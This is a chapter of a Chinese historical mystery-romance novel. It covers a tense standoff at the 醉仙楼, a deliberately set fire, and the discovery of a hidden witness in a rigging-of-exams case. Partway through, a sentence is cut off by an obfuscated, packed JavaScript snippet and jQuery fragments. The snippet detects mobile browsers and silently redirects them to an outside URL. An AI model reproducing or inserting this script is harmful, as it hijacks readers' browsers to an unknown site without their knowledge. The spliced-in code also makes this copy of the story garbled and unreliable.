17. 17

作品:《字狱录

    余崇源站在楼梯上看着众人,隔了有些远,张淮清看不清他脸上的表情。


    等他走近了,张淮清才确认了他眼里看戏的笑意。


    “余大人怎么也在此?总不会也是为了楠珂姑娘而来吧?”张淮清戏言。


    “张大人还真猜对了,我在房中左等右等都不见楠珂,又听闻这有热闹可看,才找上门来。”


    余崇源比张淮清年长十岁,是崇祯二年的状元,他从老师口中听闻过此人的事迹,礼部都是圆滑之人,唯有余崇源还算得上是刚直之人,他能坐稳礼部第二把交椅,必然是有几分本事的。


    可没想到他会与刘诚一伍。


    “余大人,你可要我为我做主,这徐大人扣住我的人不放,这是什么道理?”刘诚以为靠山来了,一副小人得志的嘴脸。


    玄英这时候多希望槐序在场,能在这贼眉鼠目的脸上来上一拳。


    “徐大人也在啊?”余崇源问得没什么诚意,他只要没瞎就不可能看不见她这么大一个活人。


    徐孟沅不应,他也不觉得尴尬,仍说:“我想这其中必有什么误会,徐大人可不是会做出随意扣人之举的人。”


    在场的知情人都沉默了。


    徐孟沅瞧着余源崇,确信他是在讽刺她,不过她也装作不懂,“那是自然,我可没有强迫楠珂姑娘,这不是正准备送她离开,就被不知名之人堵了门,余大人,你可要为我评评理。”


    “。。。。。。”


    她这不管见了谁都能说鬼话的本事,还真是令人佩服。


    张淮清见识过几次,已经见怪不怪了,看着别人吃瘪的样子,他还觉得挺畅快。


    余崇源扯着嘴角笑了笑,“徐大人找楠珂姑娘有事?”


    “是有些事,不过现在无事了,余大人大可带人离开。”徐孟沅这时大方让出道路,容楠珂过去。


    楠珂在众人脸上都扫过一遍,从容地站到了掌柜身边。


    “你这手怎么了?”掌柜眼尖,看到了她包着纱布的手,他未经思考就喊出声,待反应过来时,已然来不及了。


    果不其然,刘诚盯着她的手,怒喊:“你伤了手还怎么为我弹琴,我可是付了钱的。”


    “刘大人恕罪,奴家一时不察才伤了手,待我伤好,还能为您奏曲,只是需得等上两日。”楠珂见所有人都盯着她的手指,将手掩入宽大的袖口中。


    “两日,我可没有这个耐心,你这醉仙楼若是不想做生意就早说,我的兴致都被你们败坏了。”


    “你付了多少钱,我双倍赔你,今日,楠珂不待客了。”


    沈懿舟在一旁当了许久的木头,此刻跳出来,引得刘诚跳脚:“你当老子没钱?我告诉你今日我就要楠珂陪我。”


    “你……”


    张淮清:“允修,不可。”


    “刘公子,不过是个乐师,何必为此着恼,我们还是回去喝酒吧。”余崇源出言相劝。


    刘诚仍不甘愿,“我们就这么放过他们了?也太便宜他们了。”


    “刘公子,聚众闹事可是要吃牢饭的,近来诏狱空间多,你是要去我那住上几日?”徐孟沅也烦了。


    刘诚还是怕徐孟沅的,可又觉得没面子,梗着脖子不松口。


    还是余崇源给他台阶下,“刘公子,不要让贵客久等了,我们还是回去吧。”


    “今日扫了我的兴改日再跟你算账,去换个机灵的来。”刘诚经提醒顺着台阶就下,他也只敢对着掌柜发发邪火。


    “贵客?余大人今日还请了旁人?是朝中哪位大人啊?”张淮清抓到了余崇源嘴里不平凡的字眼。


    “只是我的一位友人。”余崇源语焉不详。


    张淮清更觉得其中有异,“可否引见?我对余大人口中之人颇为好奇。”


    “我这友人不喜见生人,张大人见谅。”说着,余崇源就带着刘诚离开了。


    楠珂与掌柜都松了口气,有眼力见地退下了。


    徐孟沅来到张淮清身旁,低声问:“你怎么看?”


    “先等槐序他们的消息,回去再说,这是不是说话的地方。”张淮清更加谨慎。


    “好。”


    徐孟沅算了算时辰,槐序和李吟桥已经去了一个时辰,若是没有发现,早该回来。


    这说明,他们可能发现了什么。


    两人对视一眼,皆看懂了对方眼中所想。


    沈懿舟一晚上脸色就没好看过,他确信张淮清和徐孟沅有事瞒着他。


    不过这并不难猜,张淮清最近在查春闱舞弊的案子,而徐孟沅又是皇帝倾点协助他查案的人,还有什么想不明白的。


    他并不怪张淮清瞒着他,毕竟此事牵涉甚广,只是查案怎么会查到醉仙楼来,还有他们今天似乎是冲楠珂来的,莫非……


    沈懿舟越想越觉得头疼,他早已出了一身的汗,酒意好似也随着汗被排出了体外,他此刻只想回家睡一觉。


    “怀瑾,小妹,我也该走了。”


    “允修,今日之事……”张淮清心有所愧。


    沈懿舟却不让他继续说,“你我之间何需说这些,改日来我府上请你喝茶,不喝酒了。小妹,你也得来。”


    徐孟沅:“那是自然,沈大哥慢走。”


    “好,你们不必送了。”


    沈懿舟说着不用人送,可他的步伐仍有些虚浮,张淮清还是让玄英送他回去。


    楼中管弦丝竹声阵阵,人们都沉浸在酒色声乐中,浑然不觉危险。


    直到有喊叫声冲破了楼顶,连屋檐上停留休息的鸟儿都被惊醒。


    “来人啊,走水了,快来人啊。”


    听到嘈杂声,张淮清从围栏处往下望,只见楼中的小厮都在奔走,远处似有白烟冒出,一楼的客人争相往大门口跑去。


    “啊啊啊,快跑啊。”


    “我下去看看。”徐孟沅从栏杆处一跃而下。


    张淮清不会武功,只能顺阶梯而下,只是人们被突如其来的危险吓得失去了理智,只顾自己逃跑,楼梯拥挤,他险些被人群挤落。


    待他安稳落地,徐孟沅已打探好情况回来,“后院起火了,看火势不大,楼中人都去救火了。”


    “这火来的蹊跷。”


    徐孟沅同意他的推断,“应该是有人故意为之。”


    烟愈发大了,张淮清被呛得咳出声,连忙用衣袖捂住口鼻。


    徐孟沅也捏住了鼻子,防止灰尘进入,“我们先离开这。”


    “好。”


    张淮清走得慢,徐孟沅怕他被人群挤散,便抓住了他的手腕,带他跑了出去。


    “接下来我们该怎么办?”徐孟沅询问他的意见。


    可眼前人却一言不发,只是盯着她的手看。


    徐孟沅顺着他的视线往下看,就看到了她和他交叠在一起的手。


    她立刻甩开他的手。


    “一时情急,张大人勿怪。”


    “无妨,是我要多谢徐大人。”


    两人说完,空气忽然安静下来。


    徐孟沅受不了这莫名的气氛,率先提出离开,“我先回府等师,等吟桥的消息。”


    “等等,不如去我那吧,槐序玄英找不见我定会去清晖园找我,你那侍女说不定也会跟来,我们也好一同商议。”


    经过这几日,张淮清跟她多少有了些默契,要想查清舞弊案,确实需要锦衣卫的帮助,所以今晚他才想着邀徐孟沅来醉仙楼。


    徐孟沅想了想,既然事已至此,干脆把戏做全套了。


    “好吧,你带路。”


    清晖园是张淮清回京后刚买的宅子,他前几日才搬过来,在靖国公府还是多有不便。


    不出他所料,他们刚到没多久,三人便前后脚地来了。


    槐序和李吟桥似是跟人打了一架,衣着有些狼狈,特别是槐序,进屋后便不断地往口中灌水。


    “你们两不会打了一架吧。”玄英合理地怀疑。


    两人依旧不说话。


    张淮清心中有了猜测,“醉仙楼的火是你们放的吧。”


    “是我们放的。”李吟桥承认了。


    “你们发现了什么?”徐孟沅问。


    “我们先是将整个醉仙楼都查找了一遍,没有发现什么异常。可就在我们要离开时,她发现了不对劲的地方。”槐序停顿了一下,眼神示意李吟桥。


    李吟桥接过他的话,“我们避开人到了后院,那里像是杂役休息的地方。我们去的时候楼中的杂役和小厮都在前厅帮忙,后院一个人都没有,可忽然有几个人偷偷摸摸地出现。”


    “那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026089|177746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些人穿的并不是酒楼下人的衣裳,我们便跟了过去,直到他们进了一间房。大概一盏茶的时间,他们才离开。”


    徐孟沅适时发问:“那房间里有什么?”


    “什么都没有。”李吟桥看着众人有些失望的表情,又补充道:“至少表面上什么都没有。”


    “你就别买关子了,直接告诉他们吧。”槐序是个急性子,比听故事的人更受不了她说话的方式。


    李吟桥动作很小地耸了下肩,意思是让他来说。


    “那屋子虽然是空的,但是我们认为里面应该有密室。”槐序揭开谜底。


    “但是我们怎么都找不到密室的开关,所以……”


    听到这,张淮清就明白了后续的事情,“所以你们就放火引入来,为的就是让他们替你们打开那密室。”


    “对。”


    “可是你们怎么知道那个密室与我们要查的事情有关呢?”玄英问出了大家的心声。


    “不知道啊,只是碰碰运气,没想到还真让我猜中了。”槐序还颇为得意。


    “你就是瞎猫撞上了死耗子。”李吟桥不放过任何一个损他的机会。


    “当时也没见你反对啊。”


    徐孟沅打断,“里面纠结有什么?”


    李吟桥和槐序一齐说道:“人。”


    “人?”


    “我们要找的人。”


    张淮清似乎早有预感:“你们找到顾邵之了?”


    “对。”


    “看来这醉仙楼不像表面上那么简单,这醉仙楼背后的东家是谁?”张淮清问徐孟沅。


    徐孟沅垂眸思索一番后,说:“不知道,京中只知醉仙楼的东家叫白汀,其余一概不知。”


    张淮清讶然,“连你们锦衣卫都查不到这人的身份?”


    “锦衣卫不可能知道所有人的底细,不过现在看来醉仙楼很有可能与舞弊案有关,我会再找人细查这位白汀的身份。”


    能看得出她也有些懊恼,张淮清就不再火上浇油了。


    徐孟沅终于想起了关键,“对了,你们既然找到顾邵之了,那人现在在哪?”


    “我们好不容易才把顾邵之劫了出来,我怕别的地方不安全,就传信给李元铎,让他把人带走了。”有了上次的教训,李吟桥更为小心。


    “做得好,那明日便提审顾邵之。”


    总算是找到了案件的关键证人,徐孟沅松了口气。


    张淮清倏地向她抛出橄榄枝,“徐大人,如今我们也算是坐在同一条船上,何不一起合作?”


    其实也不是突然,他已经思考了许久,与她合作利大于弊。


    徐孟沅装傻,“陛下命你我共查舞弊案,这么多天以来我们不是一直在合作吗?”


    张淮清把话说得更明白,“合作也分真心实意和虚情假意,孟沅。”


    “别这么叫我。”


    “怎么?现在又叫不得了?几个时辰前,徐大人喊我怀瑾时也不见得如此生分啊。”


    “张大人不也是逢场作戏,你我彼此彼此。”


    “是。”张淮清干脆承认,“不过,现在我要的是你的诚意。”


    徐孟沅不是三言两语能打发的,“诚意是相互的,我得先看到你的诚意。”


    “可以,关于这个案件我所知道的都可以告诉你,同样的,你掌握的消息也得告知我。这样,才谈得上合作。”


    张淮清话里似有所指,他是察觉了什么?


    徐孟沅还不准备亮出她的牌,她打算再观察观察,“好,可以。”


    张淮清注视着她的眼,他那双总是波澜不惊的眼眸里印着她的倒影,徐孟沅觉得自己好似要被吸入他清亮的瞳孔之中。


    “你为何如此看我?”徐孟沅不自在地移开了眼。


    张淮清勾唇,“我总该看清接下来要与我同舟之人,徐大人不愿我叫你孟沅,那我该如何唤你,总唤‘徐大人’总归太过生分。”


    徐孟沅一时也想不出合适的,便说:“也不是不愿,只是没人如此唤过,你要唤也随你。”


    “好,礼尚往来,你也唤我的名吧。”


    “可。”


    徐孟沅不知为何不太敢看他的眼睛,应过后就起身要离开。


    “天色不早了,我们该走了。”